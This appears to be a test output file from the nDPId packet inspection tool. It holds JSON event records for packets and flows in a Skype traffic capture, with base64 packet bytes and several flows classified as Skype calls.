+00437{"flow_id":175,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1331,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":53577,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA08oZAAEAGzIPAqAEib91KEshDnFkB\/obBlZep1YARECg2lgAAAQEICj4yTp1Ndq00"} +00437{"flow_id":178,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1332,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":53577,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0tJtAAEAGCm\/AqAEib91KEshEAbuPHWXsImhLeYARECw07gAAAQEICj4yTp1Ndq63"} +00437{"flow_id":179,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1333,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":53577,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA02kpAAEAGFTjAqAEi1cezr8hFnF3LCMHQLu+4HYARECpN\/QAAAQEICj4yTp1O3xkb"} +00437{"flow_id":186,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1334,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":53577,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0S\/tAAEAGo4fAqAEi1cezr8hHAbtzmW+p0lUdQ4ARECyIEAAAAQEICj4yTp1O3xqx"} +00437{"flow_id":187,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1335,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":53664,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA09DlAAEAG++\/AqAEinTfrmMhInF05JqcVEQTd4oARECnm7gAAAQEICj4yTp1MXigT"} +00436{"flow_id":192,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1336,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":53665,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0bExAAEAGg93AqAEinTfrmMhKAbuh9dNDzkYJiIARECwCGAAAAQEICj4yTp1MXimi"} +00436{"flow_id":212,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1337,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":53775,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0z6NAAEAGIIzAqAEinTfrkshMnFVVB2th4fDnQYARECl1MQAAAQEICj4yTp1MYN9f"} +00435{"flow_id":221,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1338,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":53776,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0QxVAAEAGrRrAqAEinTfrkshQAbtIMwnQ6zPtWYARECxtPQAAAQEICj4yTp1MYODx"} +00436{"flow_id":213,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1339,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":53870,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0dj9AAEAGeebAqAEinTfrnMhNnFpJkZ6jyTsrQ4ARECgdngAAAQEICj4yTp1MXOPP"} +00436{"flow_id":222,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1340,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":53870,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0iaFAAEAGZoTAqAEinTfrnMhRAbsdDAE\/NXDb94ARECxjpQAAAQEICj4yTp1MXOVg"} +00436{"flow_id":214,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1341,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":54063,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0VDFAAEAGzSXAqAEiQAQXn8hOnEl2PjseIF+fsYARECjFVQAAAQEICj4yTp1MR9i0"} +00435{"flow_id":223,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1342,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":54064,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0B99AAEAGGXjAqAEiQAQXn8hSAbvNFju+a1gmPIARECw1TgAAAQEICj4yTp1MR9pG"} +00420{"flow_id":230,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1343,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":105260,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAomw4AAEARXEPAqAEiwKgBAeasFOcAFAzzAAEAADLdMt0AAA4Q"} +00460{"flow_id":231,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1344,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":107739,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"PBXCt3IO0NQSxnP1CABFwABElr4AAEABX8fAqAEBwKgBIgMDgJYAAAAARQAAKJsOAABAEVxDwKgBIsCoAQHmrBTnABQM8wABAAAy3TLdAAAOEA=="} +00503{"flow_id":223,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1345,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":157266,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"0NQSxnP1PBXCt3IOCABFAABksFpAAEAGcMzAqAEiQAQXn8hSAbvNFjuOa1gmPIAZECycyAAAAQEICj4yTwRMR9pGOm9QiCGp0cwW6vp4r5Dn8\/7YY8lRGP7REcP1BqFDpRTD4qb3sZ4E9ti6rTGePCt6"} +00428{"flow_id":232,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1348,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":318900,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAoNDhAAPQGWpFbvtp9wKgBIjA+yFR61rILJRYCtlAUJeVEpAAAAAAAAAAA"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1349,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":1,"flow_first_seen":1431970686319,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.218.125","src_port":51285,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":233,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1349,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":319207,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAzaZAAEAGdQvAqAEiW77afchVMD6WWeS2AAAAALAC\/\/89ewAAAgQFtAEDAwUBAQgKPjJPpQAAAAAEAgAA"} +00548{"flow_id":159,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1350,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":367443,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACD9yRAADYGAqSdN+uqwKgBIgG7yD366YaU6GdazIAYAB3tXQAAAQEICkxWgtA+MgrFFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00421{"flow_id":159,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1351,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":367539,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoQM9AAEAGr1TAqAEinTfrqsg9AbvoZ1rMAAAAAFAEAABYBwAA"} +00437{"flow_id":233,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1352,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":381504,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0k+pAAPQG+tJbvtp9wKgBIjA+yFVGmTUullnkt4ASH\/5npwAAAgQFoAEDAwQBAQQC"} +00420{"flow_id":233,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1353,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":381625,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoqoZAAEAGmEPAqAEiW77afchVMD6WWeS3Rpk1L1AQIACoYAAA"} +00428{"flow_id":233,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1354,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":381738,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"0NQSxnP1PBXCt3IOCABFAAAtl1BAAEAGq3TAqAEiW77afchVMD6WWeS3Rpk1L1AYIACRUAAAFgMBAAA="} +00428{"flow_id":233,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1355,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":443117,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAoteZAADcGleNbvtp9wKgBIjA+yFVGmTUvllnkvFAQA6DEuwAAAAAAAAAA"} +00420{"flow_id":230,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1361,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":624286,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoWF8AAEARnvLAqAEiwKgBAeasFOcAFAzzAAEAADLdMt0AAA4Q"} +00460{"flow_id":231,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1362,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":627227,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"PBXCt3IO0NQSxnP1CABFwABElr8AAEABX8bAqAEBwKgBIgMDgJYAAAAARQAAKFhfAABAEZ7ywKgBIsCoAQHmrBTnABQM8wABAAAy3TLdAAAOEA=="} +00449{"flow_id":212,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1363,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":651843,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8A0ZAAEAG7OHAqAEinTfrkshMnFVVB2tZ4fDnQYAZEClkeQAAAQEICj4yUO9MYN9f7d463h6NxxM="} +00449{"flow_id":187,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1364,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":667029,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8QX5AAEAGrqPAqAEinTfrmMhInF05JqcNEQTd4oAZECkk0gAAAQEICj4yUP5MXigTaJ2t5RvhjU8="} +00481{"flow_id":222,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1365,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":679196,"pkt_caplen":99,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":99,"pkt_l4_len":65,"pkt":"0NQSxnP1PBXCt3IOCABFAABVsdNAAEAGPjHAqAEinTfrnMhRAbsdDAEeNXDb94AZECxUcgAAAQEICj4yUQpMXOVgRJ52DFIu7cAK7Gpc8dNzIO4YY2vVOHQu5N+2IqCrL00y"} +00492{"flow_id":221,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1366,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":679198,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABaaTBAAEAGhtnAqAEinTfrkshQAbtIMwmq6zPtWYAZECx0qAAAAQEICj4yUQpMYODx4TzV3\/Y4WDPH3tpvaLZcP8pol15k+DSkUSs81WKefnkA99PxSe0="} +00517{"flow_id":158,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1370,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":837592,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrqW9AAEAGr43AqAEinTeCjsg8AbsAEWqgQyFuW4AZECxUhwAAAQEICj4yUahOwLdijvxAZZgUoCkBH\/EVHhRNRbBof0ntyHRIt71VUzxiPflWQfiWlCD80Wr\/3G66XhsettJAtcl5eA=="} +00429{"flow_id":233,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1371,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":843632,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAok\/NAAPQG+tVbvtp9wKgBIjA+yFVGmTUvllnkvFAUJeWicgAAAAAAAAAA"} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1372,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":1,"flow_first_seen":1431970686843,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.218.125","src_port":51286,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":234,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1372,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":843964,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAXdpAAEAG5NfAqAEiW77afchWAbv9gi8BAAAAALAC\/\/+4gAAAAgQFtAEDAwUBAQgKPjJRrgAAAAAEAgAA"} +00438{"flow_id":234,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1373,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":906649,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0rxlAAPQG36Nbvtp9wKgBIgG7yFakF93g\/YIvAoASH\/7ehAAAAgQFoAEDAwQBAQQC"} +00420{"flow_id":234,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1374,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":906761,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoj59AAEAGsyrAqAEiW77afchWAbv9gi8CpBfd4VAQIAAfPgAA"} +00428{"flow_id":234,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1375,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":906874,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"0NQSxnP1PBXCt3IOCABFAAAtzzZAAEAGc47AqAEiW77afchWAbv9gi8CpBfd4VAYIAAILgAAFgMBAAA="} +00521{"flow_id":158,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1376,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":964732,"pkt_caplen":125,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":125,"pkt_l4_len":91,"pkt":"PBXCt3IO0NQSxnP1CABFAABv2UBAADcGiLidN4KOwKgBIgG7yDxDIW6qABFq2IAZAB2WWgAAAQEICk7AySc+MlGoYM6Y72SmWR5htS4dovG5cbt1QaUguo5d5+o8p6LUhfy6YDKbvT6yWVZs\/mqzcbyb\/ER0zGvTjIHK030="} +00421{"flow_id":158,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1377,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":964847,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAonDFAAEAGvQ7AqAEinTeCjsg8AbsAEWrYAAAAAFAEAACZbwAA"} +00429{"flow_id":234,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1378,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970686,"pkt_ts_usec":972411,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAoQBJAADcGC7hbvtp9wKgBIgG7yFakF93h\/YIvB1AQA6A7mQAAAAAAAAAA"} +00448{"flow_id":213,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1379,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":23682,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8ncNAAEAGUlrAqAEinTfrnMhNnFpJkZ6byTsrQ4AZEChZYwAAAQEICj4yUmFMXOPPdjjDMntxC5I="} +00429{"flow_id":234,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1382,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":201898,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAorxpAAPQG365bvtp9wKgBIgG7yFakF93h\/YIvB1AUJeUZUAAAAAAAAAAA"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1384,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":235,"flow_packet_id":1,"flow_first_seen":1431970687261,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"174.49.171.224","src_port":13021,"dst_port":32011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":235,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1384,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":261985,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuS7AAAEAREzPAqAEirjGr4DLdfQsAGuTOfB8CfeyODsgiOuU1SIeok9yn"} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1384,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":235,"flow_packet_id":1,"flow_first_seen":1431970687261,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"174.49.171.224","src_port":13021,"dst_port":32011,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1385,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":1,"flow_first_seen":1431970687262,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"83.31.12.173","src_port":13021,"dst_port":23939,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":236,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1385,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":262047,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAurJcAAEARrJHAqAEiUx8MrTLdXYMAGpfYfCECZ7K5p+bX8n+OJOOTrcyv"} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1385,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":236,"flow_packet_id":1,"flow_first_seen":1431970687262,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"83.31.12.173","src_port":13021,"dst_port":23939,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1386,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":237,"flow_packet_id":1,"flow_first_seen":1431970687262,"flow_last_seen":0,"flow_tot_l4_data_len":26,"flow_min_l4_data_len":26,"flow_max_l4_data_len":26,"flow_avg_l4_data_len":26,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"189.138.161.88","src_port":13021,"dst_port":19521,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":237,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1386,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970687,"pkt_ts_usec":262067,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuSakAAEAREGnAqAEivYqhWDLdTEEAGhcdfCMC1zNoLOVTJhFFmEsFrmck"} 